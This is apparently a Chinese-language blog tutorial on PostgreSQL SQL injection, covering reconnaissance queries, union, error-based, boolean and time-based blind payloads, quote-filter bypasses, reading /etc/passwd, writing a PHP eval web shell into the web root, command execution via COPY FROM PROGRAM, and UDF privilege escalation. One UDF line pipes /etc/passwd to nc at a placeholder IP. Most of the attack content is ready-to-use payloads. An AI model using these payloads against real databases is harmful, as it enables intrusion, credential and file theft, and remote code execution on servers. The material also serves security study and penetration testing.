postgresql注入

环境搭建

在docker上pull一个postgresql镜像,然后就pull了一个14版本的:

1
docker run --name some-postgres -p 5432:5432 -e POSTGRES_PASSWORD=p4s5w4Rd -d postgres

postgresql结构

postgresql的逻辑结构:实例→数据库→表空间→对象:

postgresql

权限

创建角色

创建角色:

1
create role westjun

创建一个有登录属性的角色:

1
create role westjun with login

创建用户时添加密码:

1
create role westjun with login password 'westjun'

给已创建的角色添加登录属性:

1
alter role westjun with login

内置角色属性

  • SUPERUSER/NOSUPERUSER:超级用户/非超级用户
  • CREATEDB/NOCREATEDB:允许/不允许创建数据库
  • CREATEROLE/NOCREATEROLE:允许/不允许创建角色
  • INHERIT/NOINHERIT:允许/不允许权限继承
  • LOGIN/NOLOGIN:允许/不允许登录
  • REPLICATION/NOREPLICATION:复制权限

查看角色属性

1
select * from pg_roles where rolname='westjun'

默认角色

postgresql提供了一组默认角色,可以访问特定的资源,用这条命令可以查看所有角色:

1
select * from pg_roles

然后可以用GRANT命令将这些角色的权限授予某个用户:

1
grant pg_execute_server_program to westjun

REVOKE回收权限:

1
revoke pg_execute_server_program from westjun

信息搜集

查询版本

1
2
3
4
select version()
select current_setting('server_version_num')
show server_version--堆叠
show server_version_num--堆叠

查询用户

1
2
3
4
5
select user
select current_user
select session_user
select usename FROM pg_user
select getpgusername()

查询数据

查询数据库名

1
2
select current_database()
select datname from pg_database

查询模式名

在postgresql中也存在information_schema

1
2
3
select current_schema()
select schemaname from pg_tables
select schema_name from information_schema.schemata

查表名

1
2
select tablename from pg_tables where schemaname='public'
select table_name from information_schema.tables where table_schema='public'

查字段名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
SELECT
	attname,typname 
FROM
	pg_attribute b
	JOIN pg_class A ON A.oid = b.attrelid
	JOIN pg_type C ON C.oid = b.atttypid
	JOIN pg_namespace d ON A.relnamespace = d.oid 
WHERE
	b.attnum > 0 AND A.relname = 'cmd_exec'

select column_name,data_type from information_schema.columns where table_name='users'

查数据

在postgresql中没有group_concat函数,如果需要将大量数据一起查出来的话可以用string_aggarray_agg两个函数:

1
2
select string_agg(id||','||username||','||password, ',') from users
select array_to_string(array_agg(id||','||username||','||password), ',') from users

除了使用上面的方法进行以外还可以用limit子句:

1
select * from users limit 1 offset 1

postgresql注入

联合查询

在postgresql中union select需要字段的数据类型一致,如果直接union select 1,2,3大概率会报错,不过可以选择先用null占位再逐个替换为合适的类型:

1
2
select * from users where 1=0 union select null,null,null
select * from users where 1=0 union select 1,'user','pass'

报错注入

报错注入常用的是数据类型转换的cast函数,将字符串转为数字时报错:

1
2
3
select cast((select version()) as numeric)
select (select version())::numeric
select query_to_xml(version(),true,true,'')

盲注

盲注主要涉及到字符串截取和比较两个问题

字符串截取函数:

1
2
3
4
5
6
7
select substr(version(),1,1)
select substring(version(),1,1)
select substring(version() from 1 for 1)
select reverse(left(version(),1))
select right(reverse(version()),1)
select reverse(lpad(version(), 1, ''))
select overlay(version() placing '' from 2 for 1000)

在postgresql中用这几种方式都可以实现字符串比较:

1
2
3
4
5
select ascii(version())>79
select ascii('P')<>80
select nullif(ascii('P'),80) is null
select ascii('P') between 80 and 80
select ascii('P') in (80)

正则表达式:

1
2
3
4
5
select regexp_match(version(), '^Po') is not null
select substring(version() from 'Po.')
select version() like 'Po%'
select version() ~ '^Po'
select version() similar to 'Po%'

报错盲注

报错盲注和报错注入不同,是利用语句是否报错判断sql语句返回的结果为true或者false,例如下面这条:

1
select case ascii(version()) when 80 then 1 else ln((select 0)) end case

利用整数溢出、数据类型转化、1/0√-1ln(-1)等方式触发报错,不过如果直接把这几种payload放在语句里可能会导致postgresql直接先计算报错的语句再计算前面的case when条件语句,无法达到预期的效果。为了解决这个问题可以在语句中再加一个select

1
2
3
4
5
6
select ln((select 0))
select exp((select 999))
select 1/(select 0)
select |/(select -1)
select sqrt((select -1))
select (select 'a')::numeric

时间盲注

时间盲注比较常用的函数就是pg_sleep(),不过由于它的返回值为null,如果注入点位于where后面,那一定要将其转换为布尔值:

1
2
select 1=1 and pg_sleep(5) is null
select 1=0 or pg_sleep(5)||''=''

除此之外还有其他函数也能触发延时:

1
select repeat(md5('a'), 100000)

绕过单引号过滤

在单引号被过滤时可以用$$符号代替单引号:

1
select $$abcd$$

使用chr进行拼接:

1
select chr(97)||chr(98)||chr(99)

文件操作

列目录

1
select pg_ls_dir('/')

读文件

方法1:

1
select pg_read_file('/etc/passwd')

方法2,要求用户得是超级用户或者pg_read_server_files组中用户:

1
2
3
4
5
drop table if exists file;
create table file(res text);
copy file from '/etc/passwd';
select file from file;
drop table if exists file;

写文件

同样的,要求用户得是超级用户或者pg_write_server_files组中用户:

1
copy (select '<?php @eval($_POST["shell"]); ?>') to '/var/www/html/1.php'

写入二进制文件:

1
2
3
select lo_from_bytea(12350,decode('PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4=','base64'));
select lo_export(12350, '/tmp/test.txt');
select lo_unlink(12350);

命令执行

要求用户必须得是超级用户或者pg_execute_server_program组的用户:

1
2
3
4
5
drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
copy cmd_exec from program 'id';
select cmd_output from cmd_exec;
drop table if exists cmd_exec;

UDF提权

在8.2版本以前可以直接调用本地的libc.so提权,无回显:

1
2
create or replace function system(cstring) returns int as '/lib/x86_64-linux-gnu/libc.so.6', 'system' language 'c' strict;
select system('cat /etc/passwd | nc xxx.xx.xx.xx');

在8.2以后加载共享链接库时需要验证magic block,需要找到对应的版本然后手动编译共享链接库然后传上去,在github上有udfhack可以用。

首先找到对应版本的扩展包安装:

1
apt install postgresql-server-dev-14

然后编译安装

1
2
gcc -Wall -I/usr/include/postgresql/14/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
strip -sx lib_postgresqludf_sys.so

上传二进制文件test.so

1
2
3
select lo_from_bytea(12350,decode('base64 payload here','base64'));
select lo_export(12350, '/tmp/test.so');
select lo_unlink(12350);

提权

1
2
create or replace function sys_eval(text) returns text as '/tmp/test.so', 'sys_eval' language C returns NULL on NULL input immutable;
select sys_eval('id');
updatedupdated2023-05-202023-05-20